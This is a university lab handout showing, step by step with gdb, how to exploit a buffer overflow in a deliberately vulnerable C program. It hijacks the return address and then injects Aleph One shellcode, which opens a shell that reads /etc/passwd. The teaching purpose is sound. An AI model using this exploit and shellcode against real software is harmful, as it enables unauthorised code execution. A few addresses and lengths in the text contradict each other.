0% found this document useful (0 votes)
60 views

C Vulnerabilities Slides

The document demonstrates how to use gdb to debug a C program vulnerable to a buffer overflow attack. It shows inspecting memory and setting breakpoints to see the normal execution and how a buffer is overwritten when passing too long of a command line argument.

Uploaded by

Aditya Jain
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
60 views

C Vulnerabilities Slides

The document demonstrates how to use gdb to debug a C program vulnerable to a buffer overflow attack. It shows inspecting memory and setting breakpoints to see the normal execution and how a buffer is overwritten when passing too long of a command line argument.

Uploaded by

Aditya Jain
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 12

Foundations of Cybersecurity (Winter 16/17) saarland

university
Prof. Dr. Michael Backes
CISPA / Saarland University computer science

Buffer Overflow Demo

Introduction
We use the VM and an adapted version of Target 1 from the first exercise of CS155: Com-
puter and Network Security (https://crypto.stanford.edu/cs155/) by Dan Boneh
and John Mitchell as an example to demonstrate gdb and how to write basic exploits
for buffer overflow vulnerabilities. We call our modified version of the target program
target0 and its code is shown in Listing 1.

Listing 1: Source code of our target0 program for buffer overflow exploit.
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 void hidden()
6 {
7 // Just prints a string on the standard output
8 fprintf(stdout, ”Hijacked! Hidden functionality!\n”);
9 }
10
11 int bar(char *arg, char *out)
12 {
13 strcpy(out, arg); // Copies from arg memory to out memory until arg is 0x00
14 return 0;
15 }
16
17 int foo(char *argv[])
18 {
19 char buf[128]; // Allocate buffer in memory that can hold 128 bytes
20 bar(argv[1], buf); // Call bar function, where first command line argument is source &
memory for copying and buf is target memory for copying
21 }
22
23 int main(int argc, char *argv[])
24 {
25 // Check if we have exactly one command line argument,
26 // otherwise print error message and exit program
27 if (argc != 2) // Integer argc is number command line parameters, 0 is always reserved for &
the name of the executable
28 {
29 fprintf(stderr, ”target0: argc != 2\n”);
30 exit(EXIT FAILURE);
31 }
32

1/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

33 // Call foo function with array of command line parameters as argument


34 foo(argv);
35 return 0;
36 }

The vulnerability in this program is the use of strcpy (line 13), which copies the
first command line arguments into a buffer of limited length (here 128 bytes) without
checking the length of the input buffer (i.e., command line argument). This can be easily
exploited by an attacker to perform a buffer overflow attack by providing a command
line argument that is longer than 128 bytes!

1 Normal Execution
First, we investigate with gdb the normal execution of the target program. The target
program is located in /proj1/targets/target0 on our VM and we start it as follows:
1 $ gdb proj1 / targets / target0

Executing the program with gdb starts the target0 program in the gdb debugger.
Starting the program will give you a command line prompt similar to the one in listing 2.
For a list of some basic, useful commands please refer to our Exercise 4 sheet or for a full
list enter help into the prompt and follow that help.

Listing 2: gdb prompt


1 GNU gdb ( GDB ) 7.5 - ubuntu
2 Copyright ( C ) 2012 Free Software Foundation , Inc .
3 License GPLv3 +: GNU GPL version 3 or later < http :// gnu . org / licenses / &
gpl . html >
4 This is free software : you are free to change and redistribute it .
5 There is NO WARRANTY , to the extent permitted by law . Type " show &
copying "
6 and " show warranty " for details .
7 This GDB was configured as " i686 - linux - gnu ".
8 For bug reporting instructions , please see :
9 < http :// www . gnu . org / software / gdb / bugs / >...
10 Reading symbols from proj1 / targets / target0 ... done .
11 ( gdb )

As the source code is available, gdb allows you to inspect the source during debugging
and set breakpoints (i.e., points where the control flow of the program is interrupted by
gdb and control given to your prompt) more efficiently.
1 ( gdb ) list foo
2 17 int foo ( char * argv [])
3 18 {
4 19 char buf [128]; // Allocate buffer in memory that can hold &
128 bytes
5 20 bar ( argv [1] , buf ) ; // Call bar function , where first &
command line argument is source memory for copying and buf is &
target memory for copying

2/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

6 21 }

We are interested in the memory content of the buf buffer before and after it was
filled by strcpy. Let’s break at line 20, just before the call to bar, and line 21, just after
the call to bar returned and before foo returns to main:
1 ( gdb ) break 20
2 Breakpoint 1 at 0 x8048522 : file target0 .c , line 20.
3 ( gdb ) break 21
4 Breakpoint 2 at 0 x8048539 : file target0 .c , line 21.

Let the program run and wait for the first breakpoint to be triggered:
1 ( gdb ) run ABCD
2 Starting program : / proj1 / targets / target0 ABCD
3
4 Breakpoint 1 , foo ( argv =0 xbffff684 ) at target0 . c :20
5 20 bar ( argv [1] , buf ) ; // Call bar function , where first &
command line argument is source memory for copying and buf is &
target memory for copying

Now let’s inspect the content of buf. Here we just print the first 4 words (w) of the
buffer in hexadecimal (x) form:
1 ( gdb ) x /128 bx buf
2 0 xbffff550 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
3 0 xbffff558 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
4 0 xbffff560 : 0 x03 0 x00 0 x00 0 x00 0 x09 0 x00 0 x00 0 x00
5 0 xbffff568 : 0 x3f 0 x00 0 xc0 0 x02 0 x00 0 x00 0 x00 0 x00
6 0 xbffff570 : 0 x24 0 xf6 0 xff 0 xbf 0 x98 0 xf5 0 xff 0 xbf
7 0 xbffff578 : 0 x90 0 xf5 0 xff 0 xbf 0 xa3 0 x82 0 x04 0 x08
8 0 xbffff580 : 0 x38 0 xf9 0 xff 0 xb7 0 x00 0 x00 0 x00 0 x00
9 0 xbffff588 : 0 xc2 0 x00 0 x00 0 x00 0 x16 0 xa2 0 xeb 0 xb7
10 0 xbffff590 : 0 xff 0 xff 0 xff 0 xff 0 xbe 0 xf5 0 xff 0 xbf
11 0 xbffff598 : 0 xf8 0 x1b 0 xe3 0 xb7 0 x73 0 x82 0 xe5 0 xb7
12 0 xbffff5a0 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 xc3 0 x00
13 0 xbffff5a8 : 0 x01 0 x00 0 x00 0 x00 0 x49 0 x83 0 x04 0 x08
14 0 xbffff5b0 : 0 xdb 0 xf7 0 xff 0 xbf 0 x2f 0 x00 0 x00 0 x00
15 0 xbffff5b8 : 0 x00 0 xa0 0 x04 0 x08 0 xe2 0 x85 0 x04 0 x08
16 0 xbffff5c0 : 0 x02 0 x00 0 x00 0 x00 0 x84 0 xf6 0 xff 0 xbf
17 0 xbffff5c8 : 0 x90 0 xf6 0 xff 0 xbf 0 x2d 0 x84 0 xe5 0 xb7

Since the content of the buffer was not cleared after it was allocated, this content
can be arbitrary and vary from execution to execution (e.g., artifacts from some other
program or stack operations). Let’s continue the execution of the program, trigger the
second breakpoint, and investigate the memory content of buf again:
1 ( gdb ) continue
2 Continuing .
3
4 Breakpoint 2 , foo ( argv =0 xbffff684 ) at target0 . c :21
5 21 }
6 ( gdb ) x /128 bx buf

3/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

7 0 xbffff550 : 0 x41 0 x42 0 x43 0 x44 0 x00 0 x00 0 x00 0 x00


8 0 xbffff558 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
9 0 xbffff560 : 0 x03 0 x00 0 x00 0 x00 0 x09 0 x00 0 x00 0 x00
10 0 xbffff568 : 0 x3f 0 x00 0 xc0 0 x02 0 x00 0 x00 0 x00 0 x00
11 0 xbffff570 : 0 x24 0 xf6 0 xff 0 xbf 0 x98 0 xf5 0 xff 0 xbf
12 0 xbffff578 : 0 x90 0 xf5 0 xff 0 xbf 0 xa3 0 x82 0 x04 0 x08
13 0 xbffff580 : 0 x38 0 xf9 0 xff 0 xb7 0 x00 0 x00 0 x00 0 x00
14 0 xbffff588 : 0 xc2 0 x00 0 x00 0 x00 0 x16 0 xa2 0 xeb 0 xb7
15 0 xbffff590 : 0 xff 0 xff 0 xff 0 xff 0 xbe 0 xf5 0 xff 0 xbf
16 0 xbffff598 : 0 xf8 0 x1b 0 xe3 0 xb7 0 x73 0 x82 0 xe5 0 xb7
17 0 xbffff5a0 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 xc3 0 x00
18 0 xbffff5a8 : 0 x01 0 x00 0 x00 0 x00 0 x49 0 x83 0 x04 0 x08
19 0 xbffff5b0 : 0 xdb 0 xf7 0 xff 0 xbf 0 x2f 0 x00 0 x00 0 x00
20 0 xbffff5b8 : 0 x00 0 xa0 0 x04 0 x08 0 xe2 0 x85 0 x04 0 x08
21 0 xbffff5c0 : 0 x02 0 x00 0 x00 0 x00 0 x84 0 xf6 0 xff 0 xbf
22 0 xbffff5c8 : 0 x90 0 xf6 0 xff 0 xbf 0 x2d 0 x84 0 xe5 0 xb7

We can see that the first word of the memory was overwritten in bar. You can check
the ASCII code for the representation of ABCD in hexadecimal form and will notice that
A equals to 0x41, B to 0x42, and so forth. Thus, it is obvious that the first word of buf
equals indeed to ABCD. Note: Words are represented in inverse byte order (“little endian”),
i.e., the lower memory address is at the end. Thus, the A is at the end of the first word.
The little-endian ordering is displayed if we print words (4 bytes on a 32 bit system)
instead of single bytes:
1 ( gdb ) x / wx buf
2 0 xbffff550 : 0 x44434241

Next, let’s check the memory address of buf:


1 ( gdb ) print & buf
2 $1 = ( char ( * ) [128]) 0 xbffff550

Using & in the beginning of the variable name buf means, we are interested in the
memory address of the variable and not its content. Here that means, that buf is located
at address 0xbffff550 and occupies the next 128 bytes starting at this address. To print
its content we can use the x command as shown before.
At this point, while execution of target0 is halted at the end of function foo, we
can also investigate which return address is saved on the stack. For this, we gather
information on the current stack frame:1
1 ( gdb ) info frame
2 Stack level 0 , frame at 0 xbffff5d8 :
3 eip = 0 x8048539 in foo ( target0 . c :21) ; saved eip = 0 x8048583
4 called by frame at 0 xbffff5f0
5 source language c .
6 Arglist at 0 xbffff5d0 , args : argv =0 xbffff684
7 Locals at 0 xbffff5d0 , Previous frame ' s sp is 0 xbffff5d8
8 Saved registers :
1
See http://stackoverflow.com/questions/10057443/explain-the-concept-of-a-stack-frame-in-a-nutshell
and https://en.wikipedia.org/wiki/Call_stack for some background information

4/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

9 ebp at 0 xbffff5d0 , eip at 0 xbffff5d4

Important is the information on the Saved registers, where eip is the instruction
pointer, i.e., the memory address of the next instruction to execute. That means, once
foo returns, the instruction pointer will be restored to the value saved at the memory
address of the saved eip (i.e., at memory location 0xbffff5d4). Let’s check which address
this is:
1 ( gdb ) x / wx 0 xbffff5d4
2 0 xbffff5d4 : 0 x08048583

At last, let the program finish executing:


1 ( gdb ) continue
2 Continuing .
3 [ Inferior 1 ( process 3525) exited normally ]

2 Calling Hidden Function


Next, we want to exploit this program and call the unused function hidden (line 5 in
Listing 1).

2.1 Finding memory address of hidden


In order to be able to redirect the control flow to the hidden function, we first have to
know its memory address. For this basic exploit, we can simply check the address in gdb:
1
2 ( gdb ) print & hidden
3 $4 = ( void ( * ) () ) 0 x80484cd < hidden >

In both cases, we can see that hidden is located at memory address 0x80484bc.
Thus, in order to redirect the control flow to hidden, we have to overwrite the (saved)
instruction pointer (eip) with this address.

2.2 Crafting the exploit code


Now that we know to which value we have to set the saved instruction pointer, we have
to craft an exploit code to pass as first argument to the program (i.e., as argv[1]). To
overflow the buf and afterwards the saved eip, we have to know how long exactly our
input must be. In this case, we can compute this length from distance between the start
of buf and the address of the saved eip. From the previous Section 1 we know that buf is
located at 0xbffff550 and that the saved eip in function foo is located at 0xbffff5d4.
Thus, the distance between start of the buffer and the saved return address is:

0xbffff5d4 - 0xbffff550 = 132

5/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

So we have to fill the buffer (128 bytes) and need an overflow of 8 bytes (4 bytes
for the gap between end of buffer and saved return address, 132-128=4, plus 4 bytes to
override the saved return address).
Note: It is important that you perform above calculation only with the addresses
from program executions that received identical input (or from within the same gdb
session)! The exact address of buf and of the saved return address depend on the length
of the command line arguments, as we will see later in Section 3!
We can craft such command line arguments easily using the python scripting language.
1 $ python - c " print 132 * ' A ' + ' \ xcd ' + ' \ x84 ' + ' \ 0 4 ' + ' \ x08 ' "

Of course you can use any scripting language or a shell script. The above command
will print out a string, that is exactly the exploit command line argument that we need:
132 A to fill the buffer and the gap between buffer and saved return address plus 4 bytes
that are the address of hidden to overwrite the saved return address (remember, words
in x86 are stored in reverse byteorder, i.e., ”little endian”, and hence we have to print the
address in reverse order in our commands).

2.3 Exploiting target0


We can use the output of those commands directly as command line argument for target0
by putting them into ticks `:
1 $ gdb - - args / tmp / target0 ` python - c ' print " A " * 140+"\ xbc "+"\ x84 "+"\ &
x04 "+"\ x08 " ' `

Again, let us interrupt the program just before the call to bar and just after that
call but before returning from foo and thereby examine the memory region that we are
about to override:
1 ( gdb ) run ` python - c " print 132 * ' A ' + ' \ xcd ' + ' \ x84 ' + ' \ 0 4 ' + ' \ &
x08 ' " `
2 Starting program : / home / user / proj1 / targets / target0 ` python - c " print &
132 * ' A ' + ' \ xcd ' + ' \ x84 ' + ' \ 0 4 ' + ' \ x08 ' " `
3
4 Breakpoint 1 , foo ( argv =0 xbffff604 ) at target0 . c :20
5 20 bar ( argv [1] , buf ) ; // Call bar function , where first &
command line argument is source memory for copying and buf is &
target memory for copying
6 ( gdb ) x /128 xb buf
7 0 xbffff4d0 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
8 0 xbffff4d8 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
9 0 xbffff4e0 : 0 x03 0 x00 0 x00 0 x00 0 x09 0 x00 0 x00 0 x00
10 0 xbffff4e8 : 0 x3f 0 x00 0 xc0 0 x02 0 x00 0 x00 0 x00 0 x00
11 0 xbffff4f0 : 0 xa4 0 xf5 0 xff 0 xbf 0 x18 0 xf5 0 xff 0 xbf
12 0 xbffff4f8 : 0 x10 0 xf5 0 xff 0 xbf 0 xa3 0 x82 0 x04 0 x08
13 0 xbffff500 : 0 x38 0 xf9 0 xff 0 xb7 0 x00 0 x00 0 x00 0 x00
14 0 xbffff508 : 0 xc2 0 x00 0 x00 0 x00 0 x16 0 xa2 0 xeb 0 xb7
15 0 xbffff510 : 0 xff 0 xff 0 xff 0 xff 0 x3e 0 xf5 0 xff 0 xbf
16 0 xbffff518 : 0 xf8 0 x1b 0 xe3 0 xb7 0 x73 0 x82 0 xe5 0 xb7

6/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

17 0 xbffff520 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 xc3 0 x00


18 0 xbffff528 : 0 x01 0 x00 0 x00 0 x00 0 x49 0 x83 0 x04 0 x08
19 0 xbffff530 : 0 x57 0 xf7 0 xff 0 xbf 0 x2f 0 x00 0 x00 0 x00
20 0 xbffff538 : 0 x00 0 xa0 0 x04 0 x08 0 xe2 0 x85 0 x04 0 x08
21 0 xbffff540 : 0 x02 0 x00 0 x00 0 x00 0 x04 0 xf6 0 xff 0 xbf
22 0 xbffff548 : 0 x10 0 xf6 0 xff 0 xbf 0 x2d 0 x84 0 xe5 0 xb7
23 ( gdb ) info frame
24 Stack level 0 , frame at 0 xbffff558 :
25 eip = 0 x8048522 in foo ( target0 . c :20) ; saved eip = 0 x8048583
26 called by frame at 0 xbffff570
27 source language c .
28 Arglist at 0 xbffff550 , args : argv =0 xbffff604
29 Locals at 0 xbffff550 , Previous frame ' s sp is 0 xbffff558
30 Saved registers :
31 ebp at 0 xbffff550 , eip at 0 xbffff554
32 ( gdb ) x /4 bx 0 xbffff550
33 0 xbffff550 : 0 x68 0 xf5 0 xff 0 xbf
34 ( gdb ) x /4 bx 0 xbffff554
35 0 xbffff554 : 0 x83 0 x85 0 x04 0 x08

So far the control flow is identical to the one shown in the normal execution in
Section 1. You can see the regular saved return address at the very end of the printed
memory region for buf. Let’s continue to the second breakpoint after the copy operation
in bar and re-examine the memory region:
1 ( gdb ) continue
2 Continuing .
3
4 Breakpoint 2 , foo ( argv =0 xbffff600 ) at target0 . c :21
5 21 }
6 ( gdb ) x /128 xb buf
7 0 xbffff4d0 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
8 0 xbffff4d8 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
9 0 xbffff4e0 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
10 0 xbffff4e8 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
11 0 xbffff4f0 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
12 0 xbffff4f8 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
13 0 xbffff500 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
14 0 xbffff508 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
15 0 xbffff510 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
16 0 xbffff518 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
17 0 xbffff520 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
18 0 xbffff528 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
19 0 xbffff530 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
20 0 xbffff538 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
21 0 xbffff540 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
22 0 xbffff548 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
23 ( gdb ) x /4 bx 0 xbffff550
24 0 xbffff550 : 0 x41 0 x41 0 x41 0 x41
25 ( gdb ) x /4 bx 0 xbffff554
26 0 xbffff554 : 0 xcd 0 x84 0 x04 0 x08

As we can see, the buffer is indeed filled with As, also the gap between end of buffer

7/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

is filled with As, and the saved return address is correctly overwritten with the address of
hidden. Let’s continue execution:
1 ( gdb ) continue
2 Continuing .
3 Hijacked ! Hidden functionality !
4
5 Program received signal SIGSEGV , Segmentation fault .
6 0 xbffff600 in ?? ()

As we can see, the hidden was successfully called. After that, the program crashed
with a SIGSEGV error, i.e., the program tried to illegally access a memory location to
which it did not have access.

3 Executing injected shellcode


Now we will exploit target0 by injecting shellcode (i.e., writing it onto the stack into the
buf memory region) and then redirecting the control flow to our injected shellcode. This
allows us to execute arbitrary commands with the privileges of the target0 program
process.

3.1 Finding address of buf


In order to redirect the control flow to the content of buf, we first have to know the
address of buf during runtime. However, the buffer is allocated dynamically on the stack
at runtime whenever the foo function is called. In case of our simple program, foo is
only called from main and thus the memory location of buf on the stack depends on what
data main and every code before main has pushed onto the stack prior to calling foo.
One of the things that has to be pushed onto the stack are the command line arguments.2
Thus, the location of buf moves depending on the length of the command line argument.
We can investigate this by looking at two program executions with different command
line input:
1 ( gdb ) run ABCD
2 Starting program : / home / user / proj1 / targets / target0 ABCD
3
4 Breakpoint 1 , foo ( argv =0 xbffff684 ) at target0 . c :20
5 20 bar ( argv [1] , buf ) ; // Call bar function , where first command &
line argument is source memory for copying and buf is target &
memory for copying
6 ( gdb ) info frame
7 Stack level 0 , frame at 0 xbffff5d8 :
8 eip = 0 x8048522 in foo ( target0 . c :20) ; saved eip = 0 x8048583
9 called by frame at 0 xbffff5f0
10 source language c .
11 Arglist at 0 xbffff5d0 , args : argv =0 xbffff684
12 Locals at 0 xbffff5d0 , Previous frame ' s sp is 0 xbffff5d8
2
C.f. http://asm.sourceforge.net/articles/startup.html

8/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

13 Saved registers :
14 ebp at 0 xbffff5d0 , eip at 0 xbffff5d4
15 ( gdb ) continue
16 Continuing .
17
18 Breakpoint 2 , foo ( argv =0 xbffff684 ) at target0 . c :21
19 21 }
20 ( gdb ) continue
21 Continuing .
22 [ Inferior 1 ( process 3584) exited normally ]
23 ( gdb ) run A B C D E F G H I J K L M N O P Q R S T U V W X Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
24 Starting program : / home / user / proj1 / targets / target0 &
ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ
25
26 Breakpoint 1 , foo ( argv =0 xbffff654 ) at target0 . c :20
27 20 bar ( argv [1] , buf ) ; // Call bar function , where first command &
line argument is source memory for copying and buf is target &
memory for copying
28 ( gdb ) info frame
29 Stack level 0 , frame at 0 xbffff5a8 :
30 eip = 0 x8048522 in foo ( target0 . c :20) ; saved eip = 0 x8048583
31 called by frame at 0 xbffff5c0
32 source language c .
33 Arglist at 0 xbffff5a0 , args : argv =0 xbffff654
34 Locals at 0 xbffff5a0 , Previous frame ' s sp is 0 xbffff5a8
35 Saved registers :
36 ebp at 0 xbffff5a0 , eip at 0 xbffff5a4
37 ( gdb ) continue
38 Continuing .
39
40 Breakpoint 2 , foo ( argv =0 xbffff654 ) at target0 . c :21
41 21 }
42 ( gdb ) continue
43 Continuing .
44 [ Inferior 1 ( process 3594) exited normally ]

In the two executions, the addresses of ebp and eip differ.


However, this does not affect the relative offsets within a stack frame, i.e., the distance
between buf and the saved return address of foo remains constant (132 bytes), just their
absolute addresses change. Since we have to again overwrite the saved return address of
foo, we again need 136 bytes input. Let’s find out the address of buf when we provide a
command line argument of this length:
1 ( gdb ) run ` python - c " print ' A ' * 136" `
2 Starting program : / home / user / proj1 / targets / target0 ` python - c " print &
' A ' * 136" `
3
4 Breakpoint 1 , foo ( argv =0 xbffff604 ) at target0 . c :20
5 20 bar ( argv [1] , buf ) ; // Call bar function , where first command &
line argument is source memory for copying and buf is target &
memory for copying
6 ( gdb ) print & buf
7 $5 = ( char ( * ) [128]) 0 xbffff4d0

9/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

So, we know that buf will be located at address 0xbffff4d0 when we execute target0
with an argument of our required length.

3.2 Crafting the exploit code


Now that we know to which value we have to set the saved instruction pointer, we can
craft an exploit code. For our exploit, we will use the shellcode from Aleph One’s tutorial
on buffer overflows3 , which will simply open a shell prompt when executed:
1 \ xeb \ x1f \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ x0b \ x89 \ &
xf3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ xcd \ x80 \ &
xe8 \ xdc \ xff \ xff \ xff / bin / sh

Since this shellcode is much shorter than our buffer size, we have to additionally fill
the buffer. For this we will simply use a “nop slide”, i.e., 0x90 bytes which when executed
simply do nothing. The benefit of a nop slide is, that in case our overwritten return
address does not point directly to our shellcode but to the nop bytes, the execution
will eventually “slide” to our shellcode. Hence, the nop slide can be used to compensate
for changes in the stack memory layout and make the exploit more robust against such
changes.
To actually craft our exploit code, we will use again a scripting language, here a
Python script:
1 # Aleph One shellcode .
2 sc = " \ xeb \ x1f \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ &
x0b \ x89 \ xf3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ &
xcd \ x80 \ xe8 \ xdc \ xff \ xff \ xff / bin / sh "
3
4 # Buffer address in correct endianness
5 BUF_ADDR = " \ xd0 \ xf4 \ xff \ xbf "
6 LENGTH_BUFFER = 128
7 SIZE_EBP = 4
8 SIZE_EIP = 4
9 TOTAL_LENGTH_INPUT = LENGTH_BUFFER + SIZE_EBP + SIZE_EIP
10 # Print nop slide + shellcode + address of buffer
11 print ( TOTAL_LENGTH_INPUT - len ( sc ) - len ( BUF_ADDR ) ) * ' \ x90 ' + &
sc + BUF_ADDR

3.3 Exploiting target0


Lastly, we exploit target0 using our exploit code:
1 ( gdb ) run ` python shellcode . py `
2 Starting program : / home / user / proj1 / targets / target0 ` python shellcode . &
py `
3
3
C.f. http://insecure.org/stf/smashstack.html

10/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

4 Breakpoint 1 , foo ( argv =0 xbffff604 ) at target0 . c :20


5 20 bar ( argv [1] , buf ) ; // Call bar function , where first command &
line argument is source memory for copying and buf is target &
memory for copying
6 ( gdb ) continue
7 Continuing .
8
9 Breakpoint 2 , foo ( argv =0 xbffff600 ) at target0 . c :21
10 21 }
11 ( gdb ) x /128 bx buf
12 0 xbffff4d0 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
13 0 xbffff4d8 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
14 0 xbffff4e0 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
15 0 xbffff4e8 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
16 0 xbffff4f0 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
17 0 xbffff4f8 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
18 0 xbffff500 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
19 0 xbffff508 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
20 0 xbffff510 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
21 0 xbffff518 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90
22 0 xbffff520 : 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 x90 0 xeb
23 0 xbffff528 : 0 x1f 0 x5e 0 x89 0 x76 0 x08 0 x31 0 xc0 0 x88
24 0 xbffff530 : 0 x46 0 x07 0 x89 0 x46 0 x0c 0 xb0 0 x0b 0 x89
25 0 xbffff538 : 0 xf3 0 x8d 0 x4e 0 x08 0 x8d 0 x56 0 x0c 0 xcd
26 0 xbffff540 : 0 x80 0 x31 0 xdb 0 x89 0 xd8 0 x40 0 xcd 0 x80
27 0 xbffff548 : 0 xe8 0 xdc 0 xff 0 xff 0 xff 0 x2f 0 x62 0 x69
28 ( gdb ) info frame
29 Stack level 0 , frame at 0 xbffff558 :
30 eip = 0 x8048539 in foo ( target0 . c :21) ; saved eip = 0 xbffff4d0
31 called by frame at 0 x68732f76
32 source language c .
33 Arglist at 0 xbffff550 , args : argv =0 xbffff600
34 Locals at 0 xbffff550 , Previous frame ' s sp is 0 xbffff558
35 Saved registers :
36 ebp at 0 xbffff550 , eip at 0 xbffff554
37 ( gdb ) x / wx 0 xbffff550
38 0 xbffff550 : 0 x68732f6e
39 ( gdb ) x / wx 0 xbffff554
40 0 xbffff554 : 0 xbffff4d0
41 ( gdb ) print & buf
42 $6 = ( char ( * ) [128]) 0 xbffff4d0

As can be seen, the buffer was correctly filled and the saved return address of foo
correctly overwritten with the address of buf, i.e., it points to the beginning of the nop
slide. Let’s continue the execution:
1 ( gdb ) continue
2 Continuing .
3 process 3623 is executing new program : / bin / dash
4 $ id
5 uid =1000( user ) gid =1000( user ) groups =1000( user ) ,4( adm ) ,20( dialout ) &
,24( cdrom ) ,25( floppy ) ,29( audio ) ,30( dip ) ,44( video ) ,46( plugdev ) ,108( &
admin )

11/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo

6 $ cat / etc / passwd


7 root : x :0:0: root :/ root :/ bin / bash
8 daemon : x :1:1: daemon :/ usr / sbin :/ usr / sbin / nologin
9 bin : x :2:2: bin :/ bin :/ usr / sbin / nologin
10 sys : x :3:3: sys :/ dev :/ usr / sbin / nologin
11 sync : x :4:65534: sync :/ bin :/ bin / sync
12 games : x :5:60: games :/ usr / games :/ usr / sbin / nologin
13 man : x :6:12: man :/ var / cache / man :/ usr / sbin / nologin
14 lp : x :7:7: lp :/ var / spool / lpd :/ usr / sbin / nologin
15 mail : x :8:8: mail :/ var / mail :/ usr / sbin / nologin
16 news : x :9:9: news :/ var / spool / news :/ usr / sbin / nologin
17 uucp : x :10:10: uucp :/ var / spool / uucp :/ usr / sbin / nologin
18 proxy : x :13:13: proxy :/ bin :/ usr / sbin / nologin
19 www - data : x :33:33: www - data :/ var / www :/ usr / sbin / nologin
20 backup : x :34:34: backup :/ var / backups :/ usr / sbin / nologin
21 list : x :38:38: Mailing List Manager :/ var / list :/ usr / sbin / nologin
22 irc : x :39:39: ircd :/ var / run / ircd :/ usr / sbin / nologin
23 gnats : x :41:41: Gnats Bug - Reporting System ( admin ) :/ var / lib / gnats :/ usr / &
sbin / nologin
24 nobody : x :65534:65534: nobody :/ nonexistent :/ usr / sbin / nologin
25 libuuid : x :100:101::/ var / lib / libuuid :/ bin / sh
26 syslog : x :101:103::/ home / syslog :/ bin / false
27 messagebus : x :102:105::/ var / run / dbus :/ bin / false
28 sshd : x :103:65534::/ var / run / sshd :/ usr / sbin / nologin
29 user : x :1000:1000: Ubuntu , , ,:/ home / user :/ bin / bash
30 colord : x :104:111: colord colour management daemon , , ,:/ var / lib / colord :/ &
bin / false
31 $

The exploit code successfully opened a shell prompt to which we can issue arbitrary
commands with the rights of the user that started the program.

12/12

You might also like